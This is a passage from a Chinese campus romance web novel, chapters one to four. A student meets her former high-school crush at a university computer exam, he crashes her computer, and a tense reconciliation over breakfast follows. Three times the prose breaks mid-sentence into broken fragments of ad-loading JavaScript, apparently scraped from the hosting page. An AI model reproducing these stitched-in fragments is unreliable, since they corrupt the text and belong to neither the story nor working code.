《落雪天》 1. 台风天 台风过境的第三天,风雨渐停,天空一碧如洗,路面低洼处还有积水未干。 教室的前后都敞着门,透出来的冷风汇集在狭长的走廊,混合着雨后的湿气上下浮动。 “后面同学排队签到。” 墙上贴了考生名单,门口支了白色的桌子,中年女老师偏头对靠着墙边乱七八糟的队形说道,接着正了正身子将准考证学生证和面前的学生比对。 排在自己前面的人已经俯身下去签名,周见春一直插在口袋里的手这才伸出。 他将证件递上前拿起笔要签字,面前的老师堪堪展开那折了又折的准考证扫了他一眼问道:“学生证呢?” 周见春抬眼看向自己放东西的位置,只有一个手机,准考证在老师手里。 拿起手机,下面没有压着学生证。 教室里安检的男老师闻声看向门口的男生,他的眼睛狭长又深邃,看向人的眼神并无恶意,但总是觉得阴冷,让人不由得避开视线。此时沾了一点慌乱的神色,反而觉得亲近一些。 周见春将全身上下的口袋都掏了一遍,空空如也。后面排队的学生探头探脑,想看清前面发生了什么。 “没带回去拿,还有十五分钟开考,身份证学生证驾驶证任何能证明你身份的东西都行。” 桌前的女老师没有抬头看他,熟练地说完这通话,将纸笔往远离周见春的方向一推,挥挥手下一个人就绕过他到了桌前。 他的运气不好,这是周末的最后一场,教学楼前的共享电动车早已被上一场结束的人骑走。 除非现在有人来得比他还晚,而且正好骑着车来,不然只能跑回宿舍。 卢郁雪就是这时出现的。 那时天色处于明与暗的交界,天地万物清晰又朦胧,她的衣角被风吹起,直直闯入周见春的视野中。 “同学,你车能借我一下吗?” “可以啊,等我手机还一下车。” 卢郁雪第一次被分到六点这场,谁能想一个午觉,再睁眼就到了晚上,她饭都来不及吃扫辆自行车火急火燎地到了这。 这一路可蹬得累死她了,卢郁雪气喘吁吁地停好车点开手机页面。 “还车完成,请检查随身物品……” 卢郁雪从狭窄的空隙退出来,这才抬头看向说话的人,却怔在原地。像是被棉花堵塞所有的思绪,她一时竟说不出一句话。 面前的男生和记忆中的模样没有分毫偏差,头发被风吹得凌乱露出碎发下的眉眼,因为内双不能完全露出黑色瞳孔,看上去虽面无表情也显得孤高。 卢郁雪之前喜欢他,也是这个原因。学生时代不爱说话的帅哥,再叠加一点成绩好,多多少少也会引人关注。 可能人就是这样奇怪,越不搭理自己越想着靠近。 机械的播报音不止,周见春已经掏出手机扫码,无缝衔接上开锁的机械音。 她站在一步之外的距离,看着周见春低声和她道谢,风鼓起他的衬衫,然后逐渐远去,隐没在人群中。 世界恢复喧嚣,停滞的一切又流动起来,好像一场梦,只有还砰砰跳着的心脏提醒她刚刚一切的真实性。 可现在,卢郁雪只觉得倒霉,空得一副好皮囊,却是个人渣,不知道会不会骗其他小姑娘。 本以为高考之后能再无交集,可他们居然在同一所大学,真是晦气,早知道她就是跑来也不会骑车。 周见春是没干什么十恶不赦的事,但对不起自己,卢郁雪巴不得他事事不顺。 远处有轿车鸣笛经过,卢郁雪晃过神来,急急跑入教学楼将折好的准考证打开查看自己的考场。 “101,103,105,107。” 她昂头找教室,却在中间楼梯口因为未拖干的水渍差点摔倒。 平时感觉不到重力,滑的那一下,卢郁雪连明天请早八的理由都想好了,幸好,有面墙,她眼疾手快地扶住了。 惊吓让她的手失了力气,崭新的准考证飘落在地,卢郁雪急忙低头去捡。 好像是楼梯口起了风,薄薄的纸被吹到了花坛边。发财树长得十分茂盛,纸张卡在花盆和墙的缝隙中,她蹲下绷直了手臂才捏到一角。 纸张移开的瞬间,花盆底漏出一点红,皮质的本子,即便背光也能看见烫金的三个大字——学生证。 卢郁雪顺手够了出来,想着考完放到失物领取处,又想着万一对方不知道,还有打开看看发个表白墙靠谱。 专业软件工程类别本科学制四年籍贯居然是江林本地人 每看一行,卢郁雪就在心里默念,她的视线移到左边,盖了钢章的蓝底证件照,上面的人是——周见春。 江林大学入学后会重新照证件照,照片上的周见春模样和高中没什么不同,毕竟拍的时候和高考完也就差了两个月。 视线往下移到姓名和身份证号,确实都对得上。要怪就怪自己年少太过纯情,连周见春的身份证号都背了下去。 现在啊,想忘都忘不掉,设成校园网密码都刁钻得她室友也找不出由头。 卢郁雪起身看了一眼手机,还有十分钟开考,109的教室门口只有寥寥两三个人在排队签名。 这么一想,肯定是周见春的学生证丢了,急着回宿舍拿其他证件呢。可转念一想,真是活该,卢郁雪在心里小声控诉, 可她也不会干这种损人的事。 还是交给老师吧,他们监考应该有群,总能知道周见春在哪个考场。 “同学,你的。” “哦哦。” 卢郁雪递上自己的学生证和准考证,将手机放入手机袋中。 得到老师的点头示意才俯身签字,空着的格子很少,卢郁雪一眼就看到了自己的照片。 签到最后一个字的时候,她的手往旁边移了一点露出一直被自己压住的照片。签到表打印得很模糊,模样不甚清晰但看见名字,卢郁雪知道自己没认错人。 周见春和她一个考场。 晦气。 而且计算机专业还考什么计算机,和她一样为了加综测吗? 见她签完还迟迟不肯放下笔,女老师出声提醒她:“同学,签完可以进去了。” 她慌忙放下笔,挣扎了一会儿,在几位老师的注视下掏出自己刚刚捡到的学生证开口:“老师,我刚刚在走廊捡到一个学生证,正好是我们考场的,麻烦你转交给他吧。” 女老师和安检男老师交换一个眼神,漫不经心地接过和表格里还没签到的人比对。 “行,你放心吧。” 她并不愿意多说其他的话,卢郁雪点点头到下一个老师那里安检。 扫描仪从头顶扫到腰间,她自觉转了半圈。红色的学生证放在桌面一角,女老师百无聊赖地盯着空荡的走廊。 教室里没有时钟,卢郁雪输准考 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 证号前看了一眼右下角的时间,还有五分钟停止入场。 周见春能赶回来吗?最好赶不回来明年再考,反正打水漂的又不是她的七十块钱。 “现在可以进入系统了,时间一到点就能答卷,不然都等到点再进去电脑可能会卡。” 巡考老师胸前挂着监考工作牌,在铺了木地板的教室里走动格外吵人,卢郁雪的心思并没有注意这些,盯着倒计时发呆。 使劲回想自己上午才看过的选择题,却一点都想不起来,难道是睡了一个午觉全都忘了? 她有些气馁,但没有失望,科学不行还有玄学。 幸好出门前看了黄历,今日祈福,她肯定能过。 福神保佑福神保佑,卢郁雪紧闭双眼,对着东南方向双手合十反复默念保佑自己抽到一套简单的题目。 虔诚的祈祷被巡考老师打断,他轻轻敲了桌面,递给卢郁雪一张白色小纸条。 “草稿纸要不要?” 草稿纸?她也没带笔啊。 环顾四周,可见的范围内每个人桌面都有一张白色小纸条,在全是黑色的机房里白得晃眼。 “要。”卢郁雪坚定地点头,不要白不要,万一旁边人带了呢。 不过说来,她周围的三个位置都没人,弃考还弃成连号了。不过这样也好,自在。 “老师,身份证。” 鸦雀无声的教室出现人说话的声音,不少人的注意力都被吸引过去,但卢郁雪的位置靠后,看不见人脸。 她无意识地滑动鼠标,单手撑脸等着倒计时结束。开始考试的页面弹出,卢郁雪在心中默数三十秒。 听说数完三十秒再开口会抽到最简单的一套,不管怎么说,有利无弊。 她数数不算精准,总会因为心情的浮动过快过慢,可今天格外平静,就像是一潭深水不起波澜。 “十,九,八,七,六,五,四,三,二,一。” 早已放在开始考试位置上的鼠标随着最后一声默念结束进入抽卷,她的身旁突然起了一阵风,拢到耳边的碎发吹到了她的唇边。 开阔的视野里出现一个背影遮住蓝色的屏幕,正噼里啪啦敲着键盘轻呼着气不自在地看了四周。 不用想,是周见春。居然给他赶上了,命还挺好的。 卢郁雪在心里哼了一声,鼠标快速滑动浏览抽到的题目,有两个熟悉的操作题,自己练过,她的心里稍微平复一点有了信心。 虽然看起来题量不大,但也够喝一壶的。 卢郁雪本以为自己会因为周见春影响考试,事实上根本没有。她的鼠标就没停过,考场里满是此起彼伏的清脆点击声,陆陆续续有人交卷离开,监考老师也开始催促。 “做完的赶紧走,不要拖到最后,系统自动提交不如你自己提交,万一卡了没交上去算谁的。” 此话一出,原本还在犹豫的学生又走了一部分,走廊充斥着嘈杂的脚步声,震动通过木地板传到卢郁雪脚下。 轰隆隆又没有规律,听得人心烦。 她就不该搞Excle,现在完了,还有十几分钟,她可能做不完PPT,这还能及格吗? 不知道是什么时候有的习惯,每次考试结束前,她都会在心里合算自己能考多少分,哪些是稳稳拿分,哪些是看运气。最后的结果也往往和她估得大差不差。 但是今天,事情完全超过了她的把控范围。 2. 敌意 周见春来得匆忙,连自己板凳绕上后面人的主机数据线都没有意识到,等交卷的页面结束跳转到自己的准考证号,他起身想要离开却险些被什么绊倒。 双手撑在桌子上才勉强没有摔倒,发出的声响太大,如果不是自己时间紧迫,她一定会抬头看看周见春的热闹。 不过听动静也一样,活该,她嘴角噙着笑意,周见春倒霉,她就开心。 可下一秒,就像是被报复一般,她咧开的嘴角还没有收回去,啪嗒一声,正插入艺术字的电脑突然黑屏。漆黑的屏幕倒映着卢郁雪的脸,她清晰地看见自己僵住的嘴角和逐渐积累的怒意。 卢郁雪缓慢抬头仰视站起来的周见春拿着腔调一字一顿说道:“这位同学,我还没交卷呢。” “怎么回事,交完卷就出去,不许交头接耳。” 周见春交了卷,可卢郁雪的屏幕黑了,低头还能看见自己脚底踩着数据线,他蹲下去想绕出来却被监考老师一掌推开。 “交了卷就出去。” 他靠着桌面,不知所措只能对着卢郁雪微微欠身轻声说道:“对不起对不起。” 周见春可能从未遇到这样事,低声下气地求着对方原谅,额前碎发遮住他眼底的情绪。 卢郁雪双手环胸瞪着他,又气愤又无奈,可这样没有用,她还没交卷,只能移开视线求助似的看向监考老师。 遇见他,果然没好事。 卢郁雪委屈巴巴地开口:“老师,我还没交卷,现在开机的话我刚刚做的题还在吗?” 黑色的数据线从板凳腿底下绕出来,监考老师插入圆孔拍拍手起身说道:“还在,放心吧,给你补五分钟。” 她伸出分开的手掌震惊地开口:“就五分钟,老师,我刚刚的ppt没保存,我还得从头做呢。老师,我准备了很长时间就为这个考试,我不能挂啊。” 女生的长相可爱,在考场里压低声音语气更显软弱,另一位监考的老师过来扫了一眼说道:“延长十分钟,不能再多了。” 十分钟,十分钟应该够了,做多少交多少,她也没想着拿优秀。 “好。” 卢郁雪点点头,等着电脑重新开机进入系统输准考证号,台式电脑开机真的很慢,查看完其他操作题都保存上时,已经过了不止五分钟。 她点开PPT,果然没有存上,应该边做边存的,这下完蛋了。 考场内几乎走光,三位监考老师围着她一个人转,走廊的声音越来越吵,卢郁雪稳着心态,压着最后的倒计时交卷。 弹窗上的字符快速变幻,所有评分结束回到输入准考证的页面,卢郁雪轻呼一口气起身将椅子放回桌下。 窗外的栾树挂着果实,细细密密缀满枝头,松花柠檬黄到桃夭,层层加深渲染,渐变的色彩像是夏秋的过渡,路灯将果实完全照亮,像是发着光的小灯笼。 她交卷时监考老师正挨个检查电脑,只来得及和门口的那位中年女老师笑笑。 机房里空调打得很低,做题时候紧张没意识到,现在到了走廊才发觉刚刚空气太冷,温热的空气拂面而来。 卢郁雪感觉浑身的毛孔都好像舒张了许多,下一秒又顿时绷紧,周见春闪现一样出现在拐角,吓得卢郁雪往后倒退两步。 “你干吗?”她没好气地问道,也不想听周见春回话,往旁边跨了一步扭头就走。 卢郁雪头也不回地下楼,周见春还没来得及开口,只能跟着身后急急下楼。 一个大跨步,他抬手拦住了卢郁雪的去路。 “同学,刚刚不好意思,耽误你考试了,我给你道歉。” 学校的装修很单调,目之所及皆为白色,周见春的发梢透着光,眸中清清亮亮,如水洗一般。 空得一副好皮囊,卢郁雪再次发出这句感慨。 “不需要。” 她扔一句话抬脚向门口走去,身后的人又急急追了上来,这次拦在她的正前方,单手把着门,用了力气,能看见突起的血管。 最近的路灯在十几米外的车棚,一楼的教室早已清场,狭窄幽深只能看见绿色的安全通道标识,周见春整个人处在阴影中。 卢郁雪看不清他的神色,当然周见春也不请她的表情。 “同学,你好像,对我有些敌意。”周见春察觉到不对劲,话语一转绕到了卢郁雪身上。 他应当说得很卑微,如果卢郁雪不认识周见春的话会这么认为,可她不仅认识,还讨厌。 “周见春,你装什么呢,做过什么事你自己心里清楚。” 装什么啊?你明明知道我的名字。装什么啊?明明是你拒绝了我的心意。 厌恶的语气将周见春吼得不知所措,他收了手怔怔地看着卢郁雪,嘴唇微张,最终什么也没说出来。 侧门被他把住,卢郁雪就走正门,他周见春横过来也把不住。 冷暖风吹得她人有点哆嗦,不由得吸了吸鼻子,太不凑巧了,还没带纸。幸好不是刚刚对峙时候流出来,那可真是一点气势都没了。 天已经完全黑了下来,卢郁雪没找到共享自行车干脆走回去,图书馆分割成一个个明亮的小格子,昂头还能看见窗边捧着书本走动的人影。 九月底的夜风带着凉意,卢郁雪的视线被剥夺大半,只能看清几米内的东西。 遇见周见春,她是觉得很晦气,不是因为他,而是自己。 怪自己识人不清,仅仅因为对方一点点的善意就产生好感,但那个时候,周见春明明是很好的人,什么时候开始变烂的呢。 江林大学种满了栾树,这个季节,特别好看,像是成团的晚霞。 他们的第一次见面,好像也是栾树结果的季节。 江林市的夏天格外漫长,已是秋风送爽的季节教室里依然打着空调。门死死地关着,不留一点空隙。 班长汪熙抱着还热乎的卷子钻着空隙从打闹的男生中走到班级门口,因为腾不出手,干脆直接用脚踢开。 一门之隔的喧嚣霎时安静下来,所有人都怔怔地望着她。 汪熙完全无视他们的眼光,厚厚的一摞卷子砸在讲台上,发出不小的声响。她扫了一圈,没看见卢郁雪。 “语文课代表呢?” 女生个子不高被贴成绩单的男生挡住,她往旁边闪了一点,关上汪熙进来时的门才举手答道:“我在这。” 见到人,汪熙紧绷的脸终于放松下来拍了拍卷子说:“明天午练记得发了。” “怎么又是试卷,不是刚考完试。” “写写写每天就是写。” 这样的吐槽数不胜数,卢郁雪听着也无可奈何,毕竟这是老师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的要求。 她慌忙走上前捏起一沓卷子就要发,却被汪熙死死按住,她疑惑地看向汪熙不明所以。 刚安静下来的教室维持不了几秒,即便她们只隔了半米,汪熙还是不得不提高嗓音:“回来再发,老张让你现在去他办公室。” 见卢郁雪不解,本就站在讲台上的她不得不低头挑眉发出一声:“嗯?” “啊。” 卢郁雪想再问一些,但汪熙的注意力已经不在她身上,用力地拍着讲台维持纪律,吼得她都震了一下。 至于自己刚刚的话,应当也没听见吧。 走廊的风是热的,卢郁雪轻轻带上门确认关死才走向办公室。 语文办公室在二楼,中间只隔了两个班,她心里大约有点数,老张找她,无非就是成绩的事。 也没什么大不了的,反正又不止一次挨骂。 她倒吸一口气平定情绪推开了门。 “报告。” 女生清脆的嗓音给沉闷的办公室带来不一样的气氛,不少老师抬头看向她,当然也包括老张。 “张老师,你找我。” 中年男子不说话,从厚厚的文件袋中抽出一张表格放在卢郁雪面前。 不用仔细看,卢郁雪就知道标题一定是月考成绩。 她无意识地抿着嘴,双手背在身后,站得极其乖巧垂头等着老师的宣判。 “你妈妈都和你说了吧。”她点点头,视线落在自己脚下,背在后面的手指相互捏揉着。 “你是实验班进来的,我和你妈妈又是同学,你学不好,别人还以为是我教学能力差呢。” 说的别人,其实就是卢郁雪妈妈,毕竟只有她才会因为孩子的成绩不理想而对曾经同窗的教学能力喋喋不休。 当然,也只能喋喋不休,因为她忙得连和卢郁雪吃一顿饭的功夫都没有。 他的话语并不凌厉,可落在卢郁雪耳边,却像是一条条列举出来的罪状。 因为她,害得他们同学情谊破裂,体面全无。 空调冷风直直吹着她的脖颈,卢郁雪抬起头轻声说:“对不起,我会努力的。” “你不用跟我道歉,你应该跟自己道歉,你现在成绩和刚进来时能比吗?” 他摆着手,语气没有一点起伏,但字字句句都在指责自己。 办公室里面的老师坐了大半时不时还有学生进来送作业,卢郁雪的脸皮子薄,面上不禁染上一点红晕,未开口就觉得声线也在颤抖,眼底蒙上一层雾。 正纠结怎么答话,一个人从她的身边蹭过,瞬间带起的风让她悬在空中的手不由得一顿,神经似乎也变得迟钝,直到风停住,她才感觉到不对劲。 锋利的纸张划破她的指尖,她猛地抽回手指咬着牙还是嘶了一声。因为正对吹风口,冷风吹进皮肉,疼得她不得不蜷缩起一个拳头。 她没有去看,但能摩挲到划破口子的位置,似乎往外冒了一点血,有点黏黏的。 “老师,这是我的贫困证明。” 撞到卢郁雪的是个男生,手里拿着一沓A4纸递到自己的班主任手里。他没有立刻走,而是站着等待老师核对。 因为男生的个子高正好帮她挡住吹风口,手上的痛楚减弱几分。 虽不知有意无意,但卢郁雪那时很感激他。 3. 创可贴 卢郁雪想看清男生的面容,可她站的位置只能看见侧脸,又不敢太过明显地偷瞟,毕竟老张还等着她回话。 “我后面会努力的。” 被撞一下倒是有了思考的时间,可她想了又想还是只能说出这句话。 老张的面上看不出喜怒,很多时候卢郁雪也分不清他说话有没有阴阳怪气,只能根据直觉推断哪句话自己听着舒服哪句听了难受。 “行,材料都齐了,我们班名额不多,但你肯定有的,回去好好学习,这个不用担心。” 后桌的老师仔细挨个对比之后才套上回形针,放在书架最上面。 “谢谢老师。” 他的嗓音清冷即便说着感谢的话也听不出一丝温情,比坐着的老师还要公事公办。 “回去吧。”后桌老师温柔地说道。 卢郁雪人老老实实站着,注意力全被旁边所吸引,还想再听一点,但老张已经开口问到了下一件事。 “我要的不是你的保证,是你的行动。你现在的同桌怎么样,要我给你调个座位吗,你妈妈老是打电话让我给你安排个成绩好的同桌。” 他终于不再盯着自己的成绩,可说到换同桌,还不如继续骂她。 “不用,我同桌很好。” 她的声音越来越低,听起来很心虚,不过老张很满意。 “那就行,学习还是要看你自己,你说是不是。” 门砰的一声关上,卢郁雪余光瞥了一眼旁边,才意识到人已经走了。 或许人的感官就是这么愚钝,明明是说了好几句话的时间,可直到她亲眼看见才从有人挡风的温暖里抽离出来。 冷风呼呼地灌入她的衣领,滞后的感官带来的反馈似乎也是积累了好几秒一般,真冷啊。 卢郁雪不说话,只是点着头。 蜷缩起来的拳头依然有风透进去,吹着皮肉相连的地方,将痛感扩大,像是被人反复揉搓伤口一般。 “回去吧。”得到这句话,卢郁雪才如释重负地离开。 门外的暑气将她包裹,身上攀附的寒气一点点消散归于虚无。 这是一个大课间,因为刚改冬时令,铃声还没有调整过来。 她张开手掌,果然流了一点血,干在手上,连纹路都染了血色。抬手一碰,还有些黏腻。 办公室尽头的小楼梯有一个洗手间,卢郁雪打开水龙头搓洗着,泛开的表皮逐渐变硬浑浊,可又连着肉怎么也扯不断。 除非你能忍着痛连皮带肉地撕下,等那条血淋淋的伤口愈合。 她只是轻轻一碰便放弃了这个想法。 太疼了。 这里很安静,平时也甚少有人来。镜子上沾了许多浮尘,连皮肤毛孔都看不清晰。 镜中的自己穿着一成不变的校服,只有蓝色的发圈和别住刘海的发夹显示着自己和别人的不同。 学生时代的大部分人都过得忙碌又相似,于是卢郁雪每天都换着花样给自己带上不同的饰品。 她想告诉自己不能随波逐流,要有想法有热爱,可最后还是沦为芸芸众生,即便带上彩色的发夹也难以在人海中找到自我。 镜中的自己,很熟悉,又很陌生。她从没认真观察过自己笑起来是什么模样也没有注意自己不开心时候是什么表情。 但很明显,自己现在太忧郁太颓丧,这不该是卢郁雪,她应该永远开开心心脸上带着笑才对。 她抬手往下扒了一点自己的下眼睑,上扬的眼角下拉,能看见粉红色的血管,卢郁雪歪头对自己做了一个鬼脸。 可能是扒开的时间太长,她的眼角有些湿润,渐渐地上了一层雾,她开始看不清镜中的自己。 说不清什么情绪,是委屈还是难受,只觉得嗓子干涩,嘴角好像也在颤抖。 拼命压抑的喉咙还是呛出一个音节,她扶着洗手台蹲下,双手掩面哭了起来。 隔壁就是年级主任办公室,她担心有人,也不敢哭得太大声,只是擦着眼泪又流出眼泪。 咸咸的泪水浸到手指划破的地方,疼得她又开始龇牙咧嘴,只能起身冲洗掉。 预备铃响起,小楼梯上传来一阵喧哗,震动连着整栋楼,卢郁雪随便抹了抹脸上泪痕要走。 但几个男生已经抱着篮球打打闹闹下到了二楼,后面又跟着几个女生。吵吵闹闹的,像是有不少人。 卢郁雪不知道该不该逆着人流走,干脆站在原地等他们过去。 似乎是一个班级上体育课,站了许久,喧嚣才渐渐远去。 她轻呼一口气,抬眸却看见还有一个人在下楼,他走得很慢,像是刻意和前面的人拉开距离。 远处天光灿烂,那个瘦削的身影拐入一楼走廊,少年的轮廓清晰地勾勒在眼前。 他走在明黄色的光线里,却和办公室里的面容重叠。 楼道阴冷避光,偶有风灌入便呜咽不止,手上的水聚拢在手腕处,下滑滴落,痒痒的,凉凉的。 喧哗声过,她再低头,掌心不知何时多了一块云南白药创可贴。 白色打底,红绿点缀。 好像也就是那时起,这个场景就像被单独存放一样,只要提及周见春,她想到的都是这个画面。 明明一句话也没说,明明他只是递给自己一个创可贴,就这样死心塌地喜欢上了,卢郁雪现在想想都觉得自己当时真的挺傻。 湖面被风吹起波澜,台风过境不过三天,水位线已经快要越到岸边,波浪每每拍打都会留下星星点点的泡沫,卢郁雪看着那些卷起又被放下的水波纹都担心哪天学校要被淹掉。 新生军训停了两天,这个时间,正好是晚训结束。 她没吃晚饭,也不去食堂挤了,绕了远路去到梅园的便利店。 梅园住的是信科院和机械学院,可惜地理位置不好,除了快递站去哪都要绕半个学校。开了便利店之后,反而因为人少备受赞誉。 为了避免在这遇上周见春,卢郁雪几乎是拿了东西扫码付款就往梅园宿舍楼的反方向跑。 教学楼到宿舍真的很远,不敢想梅园的人每天得起多早。 卢郁雪双手下垂弯着背,像个丧尸一样晃上三楼,好不容易挨到了宿舍门口结果发现没带钥匙,敲了几声没人应,只能打开手机给室友发消息。 刚点开绿色的软件,手机上方就弹出一条好友信息。 点进弹窗,申请信息完整地呈现在她眼前。 走廊没有开灯,手机自动调节的亮度在幽暗的走廊格外明显,卢郁雪瞪大眼看着这条信息。 【我是周见春,想和你道个歉,方便的话,明天早八一起?】 嗯?什么玩意,周见春哪来的自己联系方式。 门吱呀一声拉开,冷气和灯光扑面而来,手机亮度瞬间暗了下去。 “我刚刚上厕所,干什么呢,还不进来。” 室友小叶探头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼走廊,又瞥了卢郁雪一眼,狐疑地关上门。 她走回自己桌前,将一直背在身后的手机放在桌面,又担心室友看见,按了熄屏。 能线上骂人吗? 卢郁雪有这个想法,又担心被对方截图保存发到校园墙控诉自己。 本来遇见就已经够晦气的了,还问她早八要不要一起,真不怕自己给他推湖里洗澡去。 她坐起身点开那条好友申请,发现是微信号搜索。 卢郁雪只有一个号,可班级群都在□□,怎么加到自己微信的,除非有认识的人把自己推过去否则不可能啊。 想到这,卢郁雪细细地看起了自己的通讯录,除了高中同学大学同学,再有就是驾校教练代拿快递还有几个算卦的。 周见春和自己是高中校友,如果从高中同学那搞到自己联系方式,好像也不难。 室友小叶洗好葡萄沥干水端到卢郁雪面前,“吃不,刚洗的。” “大晚上吃水果不好吧,我怕蛀牙。” 话是这么说,葡萄已经到了自己嘴里。 室友小叶司空见惯,抓了一把放在她的桌面上,垫了一张洗脸巾坐回自己位子上,拿起耳机的手突然一顿,像是想起什么一般。 “哦对了,忘和你说,我社团部长找我要你联系方式,说有事我就给了,有事你就加,没事把他删了。” 葡萄皮啪嗒一声掉进垃圾桶,卢郁雪躺下的身子瞬间坐直。 耳机里的游戏背景音和卢郁雪的声音交织,她拿着耳机的手不得不再次放下。 “什么!你社长哪个专业?你怎么能随随便便把我联系方式给别人。”卢郁雪恨铁不成钢地说着。 “软工231,怎么了嘛,他说有急事,我就给了。没事哈,不开心就删,我打游戏了。”柔软的海绵包裹人的耳朵,声音 像是被聚拢扩大伴随着自己的操作还带有震动,外界的喧嚣都被隔绝,也包括卢郁雪的叹息。 卢郁雪瘫在座位上,听着噼里啪啦的键盘声,觉得完蛋了。 连她明天早八都知道,说明课表也知道了,不过这个本来就能查,倒也无所谓。 都怪该死的计算机,如果今天不考计算机,如果她没有睡过头,她就不会骑着自行车去,也不会遇到周见春,对方也不会知道自己在这个学校。 过去的事情,本以为随着毕业就可以灰飞烟灭,甚至假装没有发生。可周见春的出现就像悬在头顶的剑,时刻提醒自己,过去的一切都作数,还有人记得。 完了呀,他这么讨厌的人,不会还把自己和他表白过的事说出去吧。 怎么重新做人啊,真是烦死了。 手机没有再弹出周见春的好友申请,卢郁雪硬着头皮点开申请下面的回复。 【不好意思哈,我当时有点冲动,考试没有耽误,不需要道歉,这事就当过去了吧】 如此卑微,如此求人,如果不是担心线上交流容易被截图,卢郁雪早骂他八百遍了。 良久,没有回复。卢郁雪以为过去了,洗个澡回来再次看到弹窗,差点没气晕过去。 【是我该抱歉,明天七点半我在楼下等你,你要吃早餐吗?】 吃什么早餐,吃你个大头鬼啊! 这条是十几分钟之前发出来的,许久卢郁雪没有回复,以为她不答应,又跟了一条消息。 【吃个早餐,这事就算过去,怎么样?】 4. 好友申请 卢郁雪并不愿意吃这个早餐,也不想再和周见春有瓜葛,但也只能去赌周见春是个讲信用的人。 赌他不会把自己表白的事说出去,赌他说到做到不再纠缠。 她点开回复页面打上一个字【好】。 约定的时间是七点半,可随园离教学楼又不远,卢郁雪也没有吃早餐的习惯,七点四十才磨磨蹭蹭下楼。 不知是台风过境还是因为到了深秋,人穿着短袖半眯着眼从闸机口刷脸出来,迎面遇上一阵强风,卢郁雪被吹得一激灵,眼睛都睁大了几分。 扔完垃圾回头,刚刚还在身后的室友小叶不知道去了哪里,她环顾四周看到周见春逆着人流向她这边走来。 卢郁雪翻了个白眼想往人多的地方藏匿,好巧不巧看到了室友小叶,还扫走了最后一辆自行车大声地喊道:“我先去占个位,你慢慢吃早餐啊。” 清晨的阳光还很刺眼,卢郁雪站在太阳下逆着光看不清小叶的表情,但那指点于自己和周见春之间鬼鬼祟祟的手势,卢郁雪认定,她一定是故意的。 还没来得及给小叶回个手势,她已经按着叮铃铃的铃铛在人流中穿梭着远去。 微眯着的眼睛因为男生的遮挡终于能正常睁开,卢郁雪扫了一眼周见春说道:“走吧。” 他提着两袋早点跟了上来,卢郁雪不说话,他也就不说话,只是跟在身后。 走过随园宿舍楼,穿过竹林小花园,拐过香樟树林荫道,卢郁雪终于憋不住回头问他:“你怎么不说话?” 周见春定在原地茫然地看了看自己手里的早餐开口:“那你吃什么?” “不是这个。” 见男生无动于衷,卢郁雪忍着给他一拳的冲动说道:“算了,当我没说。” 她抬脚要走,周见春已经站在了她的左前方,身后的湖水没有起风,湖面倒映着芦苇丛和教学楼,平静地像是一副钉在墙上的画。 “你说的是昨天计算机考试,还是昨晚?” 话说到后半段,周见春的声音突然小了下去,卢郁雪清了清嗓子眼神不自然地胡乱瞟着。 “昨晚。” 她也学着周见春压低了嗓音,可仔细一想,自己心虚什么,明明是他周见春提出来吃个早餐就算了了。 卢郁雪正蓄力做出一个严肃的表情准备质问他,周见春居然提着早餐不等她就走。 “我说了呀,吃个早餐就算了了。” 该死的,卢郁雪在心里骂了一句追上去拦住他:“你保证?” “我保证。” 周见春的嘴角扬起一个笑容,卢郁雪很少看见他笑,即便高中也一直是冷着脸。不过这些都不重要,她已经不喜欢周见春了,赶紧结束这莫名其妙的交集才是正事。 两个袋子,一个是吃的,一个是喝的,不说买下食堂早点窗口所有品类,一半总是有的,而且每样只拿一个,真不怕后面排队的人骂死他。 卢郁雪纠结再三还是没能下手,她哭丧着脸开口:“可我真的不饿啊,能换个和解方式吗?” 她小心翼翼地观察着周见春的反应,倒不是这事有多难,她真的吃不下。即便是每天饿得要死的高中,她也得过了上午两节课才能吃下东西。 赶着上早八的人很多,卢郁雪和周见春已经靠着路边站还是会被人撞到,她也不能说别人走路不看路,毕竟是自己站在这。 周见春没有回答她的问题,只是对她说了一句过来,语气沉闷又无情,然后人就径直走远。 完了,不会吧,这就生气了,吃早餐是什么很重要的仪式吗? 卢郁雪快步追了上去,周见春却在一棵栾树下停了步子,害得卢郁雪差点撞到他身上。 “不是,你怎么突然停下?”卢郁雪不假思索说了出来看到周见春的脸色才想起他刚刚可能在生气,语气立刻软了下去,“吃个早饭嘛,多大点事。” 她认真挑拣起来,这个太甜,这个太油,这个太咸,选来选去,卢郁雪觉得也就米糕还行。 卢郁雪脸上浮现谄媚的笑,低头准备去拿,周见春收了袋子口,全部移到一只手里,从书包里掏出一瓶牛奶递给卢郁雪。 栾树枝头已经挂了果,从摇晃的位置可以知道风来的方向,卢郁雪听见书包钥匙扣与拉链相撞,也听见周见春手中的塑料袋哗哗作响。 周见春就在自己眼前,卢郁雪却觉得自己好像从来没有真正了解他。 就像现在,她看不透对方的想法也不想去深究,所以一般选择最为直白的方式。 直接开口问。 “喝了这个也算吗?” 周见春不说话,只是点点头。 卢郁雪才不管他呢,接过来撕了塑料薄膜插进去就喝。纯牛奶嘛,都是一个味。 真得感谢学校大二安排体育课,不然以她平时半死不活的运动量可做不到一分钟就喝完一瓶牛奶。 空的牛奶盒举到了周见春面前,女生的手臂纤细又白皙,卢郁雪轻轻晃了两下歪着头笑道:“那我们,两清了。” “两清了。” 他点点头回道,这话听不出起伏,就像被人随手丢弃的吸管薄膜,任风吹起又任风吹落,轻飘飘的没有根基。 但是卢郁雪很开心,顺带着也就关心起那两袋早点。 “那这个你怎么办,扔了是不是有点浪费。” “没事,我室友没吃。” “哦,室友啊。” 男生的话,这点确实不算什么。 “那,我走了?”她对着周见春轻轻挥挥手,笑得稚气又灿烂,人还在原地但心已经像花朵上的蝴蝶一般,只要他点点头就会振翅飞去。 “一起吧,我们在一栋楼上课。” 蝴蝶起飞也要看准时机,卢郁雪只能尬笑一声点头道:“也行,也行,那一起吧。” 忍耐忍耐,再走两分钟就到教学楼,卢郁雪,你以后就可以当这个人不存在。 走到有楼梯遮掩的地方,风小了很多,卢郁雪喝了一瓶牛奶,现在撑得要死,只想好好坐下来歇歇。 她已经跨过楼梯口的门槛,周见春突然问她:“卢郁雪,你为什么不同意我的好友申请?” 